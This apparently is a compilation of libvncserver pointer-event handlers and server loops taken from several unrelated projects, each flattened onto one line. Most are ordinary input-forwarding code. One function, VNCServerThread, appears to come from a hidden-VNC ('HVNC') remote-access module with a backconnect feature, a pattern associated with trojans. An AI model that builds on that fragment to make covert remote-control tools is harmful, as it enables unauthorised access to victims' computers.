void ptrAddEvent( int buttonMask, int x, int y, rfbClientPtr cl ) { Qt::MouseButtons buttons = 0; if( buttonMask & 1 ) { buttons |= Qt::LeftButton; } if( buttonMask & 2 ) { buttons |= Qt::MidButton; } if( buttonMask & 4 ) { buttons |= Qt::RightButton; } QWSServer::sendMouseEvent( QPoint( x, y ), buttons ); rfbDefaultPtrAddEvent( buttonMask, x, y, cl ); }
static void on_pointer_event(int buttonMask, int x,int y, rfbClientPtr cl) { if(x >=0 && y >=0 && x < g_vnc_context.max_x && y < g_vnc_context.max_y) { g_vnc_context.event.type = FTK_EVT_NOP; g_vnc_context.event.u.mouse.x = x; g_vnc_context.event.u.mouse.y = y; if(buttonMask) { if(g_vnc_context.old_button==buttonMask) { printf("move %d %d\n", x, y); g_vnc_context.event.type = FTK_EVT_MOUSE_MOVE; } else { printf("press %d %d\n", x, y); g_vnc_context.event.type = FTK_EVT_MOUSE_DOWN; } } else { if(g_vnc_context.old_button) { printf("up %d %d\n", x, y); g_vnc_context.event.type = FTK_EVT_MOUSE_UP; } g_vnc_context.old_button=0; } g_vnc_context.old_x=x; g_vnc_context.old_y=y; g_vnc_context.old_button=buttonMask; if(g_vnc_context.event.type != FTK_EVT_NOP) { ftk_wnd_manager_queue_event_auto_rotate(ftk_default_wnd_manager(), &g_vnc_context.event); } } rfbDefaultPtrAddEvent(buttonMask, x, y, cl); return; }
static void handlePointer(int buttonMask,int x,int y,rfbClientPtr cl) { // ClientData* cd = cl->clientData; #if 0 if(x>=0 && y>=0 && x<maxx && y<maxy) { if(buttonMask) { int i,j,x1,x2,y1,y2; if(cd->oldButton==buttonMask) { /* draw a line */ drawline((unsigned char*)cl->screen->frameBuffer,cl->screen->paddedWidthInBytes,bpp, x,y,cd->oldx,cd->oldy); x1=x; y1=y; if(x1>cd->oldx) x1++; else cd->oldx++; if(y1>cd->oldy) y1++; else cd->oldy++; rfbMarkRectAsModified(cl->screen,x,y,cd->oldx,cd->oldy); } else { /* draw a point (diameter depends on button) */ int w=cl->screen->paddedWidthInBytes; x1=x-buttonMask; if(x1<0) x1=0; x2=x+buttonMask; if(x2>maxx) x2=maxx; y1=y-buttonMask; if(y1<0) y1=0; y2=y+buttonMask; if(y2>maxy) y2=maxy; for(i=x1*bpp;i<x2*bpp;i++) for(j=y1;j<y2;j++) cl->screen->frameBuffer[j*w+i]=(char)0xff; rfbMarkRectAsModified(cl->screen,x1,y1,x2,y2); } /* we could get a selection like that: rfbGotXCutText(cl->screen,"Hallo",5); */ } else cd->oldButton=0; cd->oldx=x; cd->oldy=y; cd->oldButton=buttonMask; } #endif // draw_new_circle(cl->screen, x, y, 1.0); rfbDefaultPtrAddEvent(buttonMask,x,y,cl); }
static void on_pointer_event(int buttonMask,int x,int y,rfbClientPtr cl) { ClientData* cd=cl->clientData; struct mouse_event event = {.x = x, .y = y}; if(x>=0 && y>=0 && x<g_max_x && y<g_max_y) { if(buttonMask) { if(cd->oldButton==buttonMask) { printf("move %d %d\n", x, y); event.press = -1; write(g_vmouse_fd, &event, sizeof(event)); } else { printf("press g_vmouse_fd=%d %d %d\n", g_vmouse_fd, x, y); event.press = 1; write(g_vmouse_fd, &event, sizeof(event)); } } else { if(cd->oldButton) { printf("up %d %d\n", x, y); event.press = 0; write(g_vmouse_fd, &event, sizeof(event)); } cd->oldButton=0; } cd->oldx=x; cd->oldy=y; cd->oldButton=buttonMask; } rfbDefaultPtrAddEvent(buttonMask,x,y,cl); return; }
//! handler for VNC pointer event void VncServer::pointerEvent(int buttonmask, int ex, int ey, rfbClientPtr cl) { // necessary to update other clients rfbDefaultPtrAddEvent(buttonmask, ex, ey, cl); }
void WINAPI VNCServerThread(HVNC hVNC) { HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC); if (!lpHandle) return; if (!SetThreadExecutionState(ES_CONTINUOUS+ES_SYSTEM_REQUIRED+ES_AWAYMODE_REQUIRED)) SetThreadExecutionState(ES_CONTINUOUS+ES_SYSTEM_REQUIRED); SetThreadDesktopEx(hDefaultDesktop); PHVNC lpServer=lpHandle->lpServer; rfbScreenInfoPtr rfbScreen=lpServer->rfbScreen=rfbGetScreen(NULL,NULL,lpServer->DeskInfo.dwWidth,lpServer->DeskInfo.dwHeight,8,3,lpServer->DeskInfo.bBytesPerPixel); if (!rfbScreen) { lpServer->bActive=false; SetEvent(lpHandle->hEvent); return; } rfbScreen->screenData=lpServer; rfbScreen->desktopName=lpServer->DeskInfo.szDeskName; rfbScreen->frameBuffer=(char*)lpServer->DIBInfo.lpOldBkgBits; rfbScreen->alwaysShared=lpHandle->ConnInfo.bShared; rfbScreen->ptrAddEvent=OnPointerEvent; rfbScreen->kbdAddEvent=OnKeyboardEvent; rfbScreen->setXCutText=OnReceiveClipboard; rfbScreen->getFileTransferPermission=OnFileTransfer; rfbScreen->port=lpHandle->ConnInfo.wVNCPort; if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_VNC_CURSOR)) SetXCursor(rfbScreen,&cur_arrow); else rfbScreen->cursor=NULL; if ((lpHandle->ConnInfo.szBCHost[0]) && (lpHandle->ConnInfo.wBCPort)) { rfbScreen->backconnect=TRUE; lstrcpyA(rfbScreen->backconnectHost,lpHandle->ConnInfo.szBCHost); rfbScreen->bcPort=lpHandle->ConnInfo.wBCPort; } if (lpHandle->ConnInfo.Passwords.dwPasswordsCount) { DWORD dwPasswordsCount=lpHandle->ConnInfo.Passwords.dwPasswordsCount; PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)MemAlloc((dwPasswordsCount+1)*sizeof(PASSWORD_ITEM *)); for (DWORD i=0; i < dwPasswordsCount; i++) { lppPasswords[i]=(PASSWORD_ITEM*)MemAlloc(sizeof(PASSWORD_ITEM)); lppPasswords[i]->dwFlags=lpHandle->ConnInfo.Passwords.piPasswords[i].dwFlags; lstrcpyA(lppPasswords[i]->szPassword,lpHandle->ConnInfo.Passwords.piPasswords[i].szPassword); } rfbScreen->authPasswdData=lppPasswords; rfbScreen->passwordCheck=OnNewClientAuth; } else rfbScreen->newClientHook=OnNewClient; while (lpServer->bActive) { rfbInitServer(rfbScreen); if (rfbScreen->backconnect) { if (rfbScreen->connectSock < 0) lpServer->bActive=false; } else if (rfbScreen->listenSock < 0) lpServer->bActive=false; if (lpHandle->hEvent) SetEvent(lpHandle->hEvent); while ((rfbIsActive(rfbScreen)) && (IsConnectionActive(lpServer))) { if (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,0) != WAIT_TIMEOUT) break; if (!(lpServer->DeskInfo.dwFlags & HVNC_SCREEN_SIZE_DETERMINED)) { if (WaitForSingleObject(hDispChangeEvent,0) == WAIT_OBJECT_0) SetNewFramebuffer(lpServer,lpSharedVNCData->dwNewWidth,lpSharedVNCData->dwNewHeight,lpSharedVNCData->bNewBitsPerPixel); } if (WaitForSingleObject(lpServer->EventsInfo.hClipboardUpdatedEvent,0) == WAIT_OBJECT_0) SendClipboard(lpServer); if ((lpServer->DeskInfo.bInputDesktop) && (lpServer->EventsInfo.dwClients)) { GetCursorPos(&lpServer->lpGlobalVNCData->ptCursor); rfbClientIteratorPtr i=rfbGetClientIteratorWithClosed(rfbScreen); rfbClientPtr cl=rfbClientIteratorHead(i); if (cl) rfbDefaultPtrAddEvent(0,lpServer->lpGlobalVNCData->ptCursor.x,lpServer->lpGlobalVNCData->ptCursor.y,cl); rfbReleaseClientIterator(i); } rfbProcessEvents(rfbScreen,1000); } if (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,0) != WAIT_TIMEOUT) break; VNCDisconnectAllUsers(hVNC); rfbShutdownServer(rfbScreen,TRUE); if (lpServer->rfbScreen->backconnect) { DWORD dwTickCount=GetTickCount(); if (dwTickCount-lpServer->dwLastReconnectionTime <= 1000) { if (++lpServer->dwReconnectionsCount >= MAX_RECONNECTIONS_PER_SECOND) { lpServer->bActive=false; break; } } else lpServer->dwReconnectionsCount=0; lpServer->dwLastReconnectionTime=dwTickCount; } rfbScreen->socketState=RFB_SOCKET_INIT; Sleep(1); } return; }
void ScreenToVnc::mouseHandler(int buttonMask, int x, int y, rfbClientPtr cl) { ClientData* cd=(ClientData*)cl->clientData; qint64 now = QDateTime::currentMSecsSinceEpoch(); lastPointerMove = now; // TODO: smarter way to dedect if in dragMode or not switch (buttonMask){ case 0: /*all buttons up */ if (cd->dragMode){ struct input_event event_mt_report,event_end; memset(&event_mt_report, 0, sizeof(event_mt_report)); memset(&event_end, 0, sizeof(event_end)); event_mt_report.type = EV_SYN; event_mt_report.code = SYN_MT_REPORT; event_mt_report.value = 0; event_end.type = EV_SYN; event_end.code = SYN_REPORT; event_end.value = 0; if(write(eventDev, &event_mt_report, sizeof(event_mt_report)) < sizeof(event_mt_report)) { LOG() << "write event_mt_report failed: " << strerror(errno); return; } if(write(eventDev, &event_end, sizeof(event_end)) < sizeof(event_end)) { LOG() << "write event_end failed: " << strerror(errno); return; } rfbDefaultPtrAddEvent(buttonMask,x,y,cl); cd->dragMode = false; } makeRichCursor(cl->screen); break; case 1: /* left button down */ if(x>=0 && y>=0 && x< cl->screen->width && y< cl->screen->height && now - lastPointerEvent > POINTER_DELAY) { struct input_event event_x, event_y, event_pressure, event_mt_report,event_end; memset(&event_x, 0, sizeof(event_x)); memset(&event_y, 0, sizeof(event_y)); memset(&event_pressure, 0, sizeof(event_pressure)); memset(&event_mt_report, 0, sizeof(event_mt_report)); memset(&event_end, 0, sizeof(event_end)); event_x.type = EV_ABS; event_x.code = ABS_MT_POSITION_X; event_x.value = x*2; event_y.type = EV_ABS; event_y.code = ABS_MT_POSITION_Y; event_y.value = y*2; event_pressure.type = EV_ABS; event_pressure.code = ABS_MT_PRESSURE; event_pressure.value = 68; event_mt_report.type = EV_SYN; event_mt_report.code = SYN_MT_REPORT; event_mt_report.value = 0; event_end.type = EV_SYN; event_end.code = SYN_REPORT; event_end.value = 0; if(write(eventDev, &event_x, sizeof(event_x)) < sizeof(event_x)) { LOG() << "write event_x failed: " << strerror(errno); return; } if(write(eventDev, &event_y, sizeof(event_y)) < sizeof(event_y)) { LOG() << "write event_y failed: " << strerror(errno); return; } if(write(eventDev, &event_pressure, sizeof(event_pressure)) < sizeof(event_pressure)) { LOG() << "write event_pressure failed: " << strerror(errno); return; } if(write(eventDev, &event_mt_report, sizeof(event_mt_report)) < sizeof(event_mt_report)) { LOG() << "write event_mt_report failed: " << strerror(errno); return; } if(write(eventDev, &event_end, sizeof(event_end)) < sizeof(event_end)) { LOG() << "write event_end failed: " << strerror(errno); return; } makeRichCursorTouch(cl->screen); rfbDefaultPtrAddEvent(buttonMask,x,y,cl); cd->dragMode = true; lastPointerEvent = QDateTime::currentMSecsSinceEpoch(); } break; case 4: /* right button down */ if(x>=0 && y>=0 && x< cl->screen->width && y< cl->screen->height && now - lastPointerEvent > POINTER_DELAY) { mceUnblank(); } break; default: makeRichCursor(cl->screen); break; } cd->oldx=x; cd->oldy=y; cd->oldButton=buttonMask; }